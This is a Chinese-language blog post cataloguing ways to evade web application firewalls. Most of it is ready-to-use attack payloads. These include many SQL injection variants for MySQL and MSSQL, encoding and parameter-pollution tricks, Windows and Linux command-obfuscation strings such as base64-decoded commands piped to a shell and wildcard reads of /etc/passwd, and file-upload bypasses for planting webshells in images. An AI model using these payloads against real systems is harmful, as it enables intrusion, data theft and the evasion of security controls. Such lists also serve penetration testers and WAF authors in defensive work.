绕WAF常见思路整理(一)

 

最近被平台的一些事情搞得心态有点崩,很久没写文了

近期想整理一下常见的各种操作中绕过WAF的思路与免杀的思路(这部分之前没整理完以后有机会再说),受限于个人水平因素所以一定是不完全的,而且在WAF日新月异的今天,有些办法已经退环境了(未经过全部测试),所以我倾向于本次从方法的角度讨论,(不出意外)而不针对某款特定的WAF讨论(因为想要成功需要针对功能点进行大量的fuzz尝试,有时候遇到包含集成规则的软WAF还需要逆向,鉴于自己是菜鸡就不展开了)

仍然是只说一些众所周知的办法,针对某种WAF规则fuzz出来未公开的自写的个人用脚本不在讨论范围

尽量用我贫瘠的词汇总结一下,不断更新(我尽力),欢迎师傅们补充

 

 

 

1.分块传输

话不多说,先上burpsuite插件链接:https://github.com/c0ny1/chunked-coding-converter

用法我就不仔细介绍了,大致上安装好右键选择chunked-coding-converter中的config,进行配置

可以勾选proxy与sqlmap联动例如:python sqlmap.py -r post.txt --batch --proxy=http://127.0.0.1:8080 --dbs

相对来说可以避免sqlmap一片红红火火

 

或者直接干,参考下图干云锁,图来自:https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&mid=2247483787&idx=1&sn=54c33727696f8ee6d67f997acc11ab89&chksm=cf36f9cbf84170dd7da9b48b3365fb05d7ccec6bdeff480d0c38962f712e400a40b2b38dc467&token=360242838&lang=zh_CN#rd

(GitHub中作者推荐的三篇文章都不错,很详细

https://www.anquanke.com/post/id/169738#h2-1

https://www.freebuf.com/news/193659.html

再就是上面那篇)

 

原理参考https://www.secpulse.com/archives/143247.html

不说了

 

2.tamper脚本

严格来说利用脚本并不算是一种“方法”,但是可以算是解决问题的一种“手段”

sqlmap自带tamper,但是单独使用效果不好

于是有一个找可以绕过WAF的tamper的工具:

https://github.com/m4ll0k/Atlas

去结合sqlmap使用

使用参考文章:http://www.csxxaq.com/zx/1155.html

 

另一款SQL注入便利dump数据的工具,需要自行填写绕过语句

https://github.com/ggg4566/SQLEXP

 

3.垃圾数据

可以在上传处利用,类似下图

 

 

 

或者这种在参数中加垃圾数据

 

 

 或者在注入中 实现缓冲区溢出

?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

 

再或者在POST数据包处加大量垃圾数据、垃圾键值对(参数=?)

 

 

 

 

复现参考:https://cloud.tencent.com/developer/article/1771247

 https://xz.aliyun.com/t/7126

 

4.编码绕过

比如什么将payload进行URL编码,二次URL编码,其他编码(Unicode、base64、HEX、ASCII)啥的

例如二次URL编码

?id=1'and '1'='2

?id=%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32

 

?id=1/**/UNION/**/SELECT

?id=1%252f%252a*/UNION%252f%252a*/SELECT

 

或者这种URL编码

%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74

二元
Select 1 from dual where 0b1010=10
十六进制
Select 1 from dual where '0'=x'30'
六角
Select 1 from dual where 0x30='0'
Like语句
Select 1 from dual where 1 like 1
类似声明
Select 1 from dual where 12 rlike 1
|| (OR)
Select 1 from dual where 1||1
&& (And)
Select 1 from dual where 1&&1

?id=1 or 1=1
?id=1 or 0>2
?actionvar=news&id=1 or ''=''
?actionvar=news&id=1 || 0b1=x'31'
?actionvar=news&id=1 ||'1'!=20
?actionvar=news&id=1 || 1=1
?actionvar=news&id=1 || 1 like 1
?actionvar=news&id=1 || 12 rlike

或者十六进制编码
select 0x313131
select x'313131'
select 0b011110100110010101101110
select unhex(x'333133313331')

 

嗯。。。可以尝试,有没有用处很难说

参考文章:https://www.bilibili.com/read/cv7477891/

 

5.Method绕过

有的查GET的,不查POST的;有的查GET、POST的,但是不查其他的,还有。。。。。。你懂的

GET /xxx/?id=1+and+sleep(3) HTTP/1.1

尝试

LCX /xxx/?id=1+and+sleep(3) HTTP/1.1

或者

POST /xxx/ 

。。。

id=1+and+sleep(3)

 

或者说WAF未对cookie和xff校验,可以尝试把语句转移到cookie或xff中

GET /index.aspx?id=1+and+1=1 HTTP/1.1

Cookie: TOKEN=xxxxxxxxx;

 

GET /index.aspx HTTP/1.1

Cookie:TOKEN=xxxxxxxxx; id=1+and+1=1;

 

 

 

6.大小写/关键字/双关键字绕过

大小写

诸如:

UniOn SeLECT

?id=1' and slEeP(3) and '1'='1

vERsIoN()

或者将HTTP包头中的Content-Disposition、form-data、Content-Type改成content-Disposition、Form-data、content-Type

这种,过去可行,,,现在难以利用

 

关键字

WAF有恶意语句的正则表达库,关键方法一定会被拦截,可以考虑换一个类似功能的(语法不一样)

比如:

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

union==> ||

between==> <>

like ==> =

 

当然,不同数据库支持的方法不一样,不能通用(以上案例均为mysql中)

 

双关键字

例如

?id=1+and+SLesleepeP(3)+and+1=1

钻单次过滤的空子

 

 7.HTTP参数污染

就是常说的HPP(HTTP Parameter Pollution)

通过插入特定的参数进行攻击,常用于绕WAF

 

例如   GET /xxx/news.php?id=1 union select user,password from mysql.user

变成   GET /xxx/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

 

如下图两个code参数实现绕过

 

 

当然,这个参数污染,受到环境的影响,同样的操作在不同环境搭建的服务器下,返回的结果不同,能否使用需要分析具体环境

应用范围很广,例如HTTP URL重定向、文件上传、逻辑漏洞啥的都能用

 

 

 参考复现文章:

https://blog.csdn.net/zhangge3663/article/details/107614748

https://blog.csdn.net/weixin_39190897/article/details/113081278

 

8.空格绕过

常见的很多组合绕过的payload,都有此办法

即WAF对空格过滤,可用其他字符例如‘+’或空白符代替绕过

 

数据库类型允许的空白符
SQLite3 0A,0D,0C,09,20
MySQL5 09,0A,0B,0C,0D,A0,20
PosgresSQL 0A,0D,0C,09,20
Oracle 11g 00,0A,0D,0C,09,20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

 

?id=1'and sleep(3) and '1'='1

变成

?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1

或者

?id=1'+and+sleep(3)+and+'1'='1

或者

 ?id=1'/**/and/**/sleep(3)/**/and/**/'1'='1

 

 依然是与数据库和环境有关

 

除了空格替换绕过之外,加在哪里也有说法

有加在文件名前的  filename=    "1.asp"

有加在参数前的  Content-Disposition: form-data;      name="uploaded"; filename="1.asp"

有加在form-data前后的  Content-Disposition: +form-data; name="filepath"; filename="1.asp"

 

 

9.%00截断/宽字节

00截断总结一句话:

Get参数00截断直接添加%00,POST参数00截断修改hex为00

解析参数时遇到%00,认为参数读取结束

 解释文章:https://blog.csdn.net/weixin_44840696/article/details/90581104

 

宽字节

嗯。。。没什么卵用

参考原理:https://blog.csdn.net/qq_35733751/article/details/106560160

 

 

 10.特殊字符拼接插入

某些环境下(例如asp+iis)可以尝试插%

例如:

?id=1 union s%e%lect 1, 2, 3 from admin

s%elect>select

还有(asp+iis、aspx+iis)用Unicode代替的,有这种同一字符可以有多种转换形式的

s%u0065lect>select 

s%u00f0lect>select

s%u0045lect = s%u0065lect = %u00f0lect

s%u006c%u0006ect>select

u --> %u0055 --> %u0075

n -->%u004e --> %u006e

i -->%u0049 --> %u0069

o -->%u004f --> %u006f -->%u00ba

s -->%u0053 --> %u0073

l -->%u004c --> %u006c

e -->%u0045 --> %u0065-->%u00f0

c -->%u0043 --> %u0063

t -->%u0054 -->%u0074 -->%u00de -->%u00fe

f -->%u0046 -->%u0066

r -->%u0052 -->%u0072

m -->%u004d -->%u006d

 

复现参考,很有趣的例子:https://www.jianshu.com/p/55f7cf7d31d1

 

还有什么

去掉form-data;把form-data改成*;改成f+orm-data、form-d+ata;

  

 

 

11.content-type 类型绕过

 

下面常见的content-type类型可以尝试互换

 

        Content-Type: multipart/form-data

        Content-Type: application/x-www-form-urlencoded

        Content-Type: text/xml

        Content-Type: application/json

 

12.pipline绕过

当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理

可以手动将此值置为keep-alive,然后在http请求报文中构造多个请求,将恶意代码隐藏在第n个请求中,从而绕过

我愿称之为套娃

(需要关闭burpsuite中的update content-length)

 

复现参考:http://www.52bug.cn/hkjs/6520.html

https://blog.csdn.net/qq_42288123/article/details/105482476

 

 13.利用系统/数据库特性绕过

这部分不知道怎么总结了,但是比较重要

总之就是

有些情况下,想要执行命令的时候,发现命令GG了

根据目标系统的不同有一些神奇的变形可以绕过

 

例如:

windows下

 

符号分隔

执行whoami

whoami = ((((Wh^o^am""i))))     //利用符号分割字符执行whoami

 

(类似操作不演示了)

 

 与((((Wh^o^am""i))))类似的,(Whoami)或(Wh^o^am""i)也是可以正常执行的

 

另外,像

w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"或who^ami或wh""o^a^mi 或wh""o^a^mi"。。。。。。都是可以正常执行的

 

还有set命令加上双重百分号%%实现命令拼接

 

whoami 可以变形为

set a=who

set b=ami

call %a%%b%       //利用变量分割关键字执行whoami(或者直接执行%a%%b%)

 

set与%组合还可以切割字符

比如下面的三个例子:

set a=123whoami456     // 为了方便演示这里设置一个变量

echo %a:~3,6%             // 取出变量a的第3位开始共计6个字符

%a:~3,6%                     //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测

 

set a=whoami

%a:~0%         //取出所有字符,所以正常执行命令

%a:~0,6%        //从开始切割6个字符,刚好是whoami,所以正常执行

(如果是%a:~0,5% 就不行,因为切割后是whoam,不是系统命令,不能执行)

 

set a=abc qwe     //先自定义

wh^o^%a:~0,1%mi   //然后截断整理后就变成了:wh^o^ami,所以命令执行成功

 

Linux下

 

关键字绕过

例如whoami可以是

w'h'o'a'm"i"     //单引号或双引号连接符,需要闭合

wh\o\ami        //反斜线绕过

who"a"mi        //双引号绕过

whoa'm'i        //单引号绕过

whoam``i        //反引号绕过

echo d2hvYW1p|base64 -d|sh          //base64绕过,其中d2hvYW1p是whoami的base64编码

echo d2hvYW1p|base64 -d|bash      //base64绕过,其中d2hvYW1p是whoami的base64编码

`echo d2hvYW1p|base64 -d`       //将其base64解码,然后用反引号来执行命令

echo 77686F616D69 | xxd -r -p | bash   //hex绕过,其中77686F616D69是whoami的hex编码

//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt   

在没有传入参数的情况下,这些特殊字符默认为空,如下:

wh$1oami

who$@ami

whoa$*mi

 

甚至:

666`whoami`666        //bash: 666root666: command not found

666`\whoami`666        //bash: 666root666: command not found  

          //命令执行后的结果在2个666中间

更有甚者:

w`f1hgb`ho`f1hgb`am`f1hgb`i        //反引号的作用是把括起来的字符当做命令执行

w`\f1hgb`ho`\f1hgb`am`\f1hgb`i     //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行

wh$(f1hgb)oa$(f1hgb)mi             //和上面的差不多,都说执行和拼接

 

 

 

或者采用字符组合分割绕过

echo qwe ; ls                        //会先输出字符qwe,然后执行ls

q=l; w=s; e=" -al"; $q$w$e        //执行ls -al命令

qwe | ls                           //执行后面的命令,前面的不执行

 

 

还有这种专门用于绕过文件名

cat fl[abc]g.php                                 //匹配[abc]中的任何一个

cat f[a-z]ag.txt                                   //匹配a-z范围的任何字符

cat fla*                                              //用*匹配任意

a=f;d=ag;c=l;cat $a$c$d.php     //表示cat flag.php       

 

绕文件名还可以利用正则匹配

cat /etc/passwd可以是:

cat /?t*/??ss**     //?,*通配符
cat /???/??????

cat /???/pass*

cat /etc$u/passwd

 

还有空格、大括号绕过

比如cat 1.txt  可以表示为cat<1.txt

或者表示为{cat,1.txt}

 

 

Linux也可以使用命令拼接

a=who

b=ami

$a$b     //输出whoami

 

还有命令执行函数绕过

以system为例

 

system("cat /etc/passwd");="\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");=(sy.(st).em)("cat /etc/passwd");

还可以用注释方法绕过

"system/*fthgb666*/("cat /etc/passwd);"="system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"="(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"

 

 

 最神奇的是,还能采用环境变量的截断与拼接来绕过

以此PATH为例:

echo ${PATH}    值为:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin


那么,echo ${PATH:1:9}就是  usr/local

以此类推我们可以拼出很多命令

比如拼出ls

${PATH:5:1}          //l

${PATH:2:1}          //s

${PATH:5:1}${PATH:2:1}     //拼接后是ls,执行命令(或者${PATH:5:1}s也是一样的)

 

 

然后说说数据库

 

mysql:

注释符
#、/*...*/、--[空格] ...
空格符
[0x09,0x0a-0x0d,0x20,0xa0]
特殊符号
%a 换行符,可结合注释符使用%23%0a,%2d%2d%0a。
%21  ! 叹号
%2b  +  加号
%2d  -  减号
%40  @  符号
%7e   ~  波浪号
Id=1 union select(1),user()
Id=1 union /!12345select/1,user()
Id=1 union select@1,user()
Id=1 union select {x 1},user()
Id=1 union select"1",user()
Id=1 union select\N,user()
Id=1 union select 1,user()`
Id=1 union select 1,user()""
Id=1 union select 1,user()A
Id=1 union select 1,user()`b
Id=1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
浮点数
Id= 1.0union select 1,user()
Id= 1.union select 1,user()
Id= 1E0union select 1,user()
Id=\Nunion select 1,user()
Id=1 unionselect user(),2.0from admin
Id=1 union select user(),8e0from admin
Id=1 union select user(),\Nfrom admin
内联注释
/*!UnIon12345SelEcT*/ 1,user()   //数字范围 1000-50540
mysql黑魔法
select{x username}from {x11 test.admin};
函数
截取
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
连接
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Ascii() Char() Hex() Unhex()
过滤逗号
127' UNION SELECT * FROM ((SELECT1)a JOIN (SELECT2)b JOIN (SELECT3)c JOIN (SELECT4)d JOIN (SELECT5)e)#
相当于 union select 1,2,3,4,5
union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
limit 1 offset 0相当于limit 1,0
mid(version() from 1 for 1)相当于Mid(version(),1,1)
<>被过滤
id=1 and ascii(substr(database(),0,1))>64
比较符
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64
函数构造
sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5)
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
select{x[可填充字符]1}

 

MSSQL:

注释符
/*、--、;00%、/**/
空格符
[0x01-0x20][0x0a-0x0f][0x1a-0x-1f]
特殊符号
%3a 冒号
id=1 union:select 1,2 from:admin
id=1 union select+1,'2',db_name() from admin
id=1 union select-1,'2',db_name() from admin
id=1 union select.1,'2',db_name() from admin
id=1 union select:1,'2',db_name() from admin
id=1 union select~1,'2',db_name() from admin
id=1%20union%20select%201,'2',db_name()%80from%20admin
id=1 union select 1,'2',db_name+() from admin
函数变形: db_name[空白字符]()
浮点数
id=1.1union select 1,'2',db_name()
id=1e0union select 1,'2',db_name()
运算符
id=1-1union select '1',system_user,3 from admin
id=1e-union select '1',system_user,3 from admin
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex('test',db_name())
字符串转换函数
Ascii('a')=char(97) 括号之间可添加空格

 

 

 14.文件上传绕过

之前讲到的姿势也可以用于文件上传,但除了之前讲到的内容,文件上传部分还有一些绕过方法没说

 

详细可以参考这两篇文章:

https://xz.aliyun.com/t/6692

https://xz.aliyun.com/t/6693

 

这个文章中的靶场说了文件上传中绕过的一些姿势:

1.修改前端js验证绕过

2.修改content-type的MIME类型绕过

3.Apache解析类型绕过

4.配合Apache的上传.htaccess绕过

5.大小写绕过

6.文件后缀名加空格绕过

7.文件后缀名加.绕过

8.文件名加::$DATA绕过

9.PHP文件后缀名加.空格.绕过(webshell.php. .)

10.文件名后缀双写绕过

11.GET%00截断绕过

12.POST%00截断绕过

13.文件头部字节绕过(做图片马把马藏进图片后面)

14.图片二次渲染绕过

15.条件竞争绕过

 

 

 

内容很多,可以挑着看,没啥必要的不说,挑几个有代表性的举例,诸如:

 

二次渲染

在上传图片处,将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传

复现参考:https://blog.csdn.net/qq_40800734/article/details/105920149

 

 条件竞争

钻代码执行需要时间的空子,如果是文件上传操作之后再进行判断(符合要求重命名保留,不符合要求直接干掉),就是通过不断上传文件,争取访问时间点在刚上传成功但还没有进行判断时访问到此文件,该文件存在

其实不只是上传,很多其他情况下也可以尝试条件竞争挖掘

复现参考:https://blog.csdn.net/wsnbbz/article/details/104651408

 

 

 15.其他

还有一些其他办法没说到

比如双文件(复)参数上传、结合CMS漏洞、中间件解析漏洞。。。。。。啥的,太多了就不说了

总之暂时想起来这些,就先总结到这里

 

 

很多实际应用的组合拳比较多,靠单独一个方法是很难过WAF的

下一篇文章有机会的话介绍一些组合拳和WAF产品的绕过

感谢观看

 

参考文章:

http://www.52bug.cn/hkjs/6520.html

https://github.com/xiaoy-sec/Pentest_Note

 https://www.jianshu.com/p/d12f6275054f

https://xz.aliyun.com/t/7599#toc-10

https://my.oschina.net/u/4588149/blog/4421773

https://blog.csdn.net/weixin_30415591/article/details/113436444

https://www.pianshen.com/article/1746778024/

 https://mp.weixin.qq.com/s/6E2fXnuHkBt_fgRZL6z7bA

 

未经允许,禁止转载

 

posted @ 2021-04-01 11:26  anoldcat  阅读(2169)  评论(0编辑  收藏  举报